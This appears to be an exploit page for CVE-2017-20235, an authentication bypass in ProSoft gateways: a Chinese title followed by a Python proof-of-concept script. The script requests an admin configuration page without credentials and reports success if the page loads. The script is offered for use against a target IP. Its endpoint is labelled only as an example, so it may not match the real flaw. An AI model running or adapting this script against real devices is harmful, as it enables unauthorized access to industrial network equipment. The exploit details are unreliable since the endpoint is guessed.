CVE-2017-20235 ProSoft网关身份验证绕过漏洞

import requests def exploit(target_ip): """ PoC for CVE-2017-20235 Authentication Bypass Attempts to access the admin configuration page without credentials. """ # Example endpoint that should be protected target_url = f"http://{target_ip}/admin/config.cgi" try: # Send request without authentication headers/cookies response = requests.get(target_url, timeout=10) if response.status_code == 200: print("[+] Authentication bypass successful!") print(f"[+] Admin panel accessible at: {target_url}") return True else: print("[-] Exploit failed or endpoint not reachable.") return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python poc.py <target_ip>") else: exploit(sys.argv[1])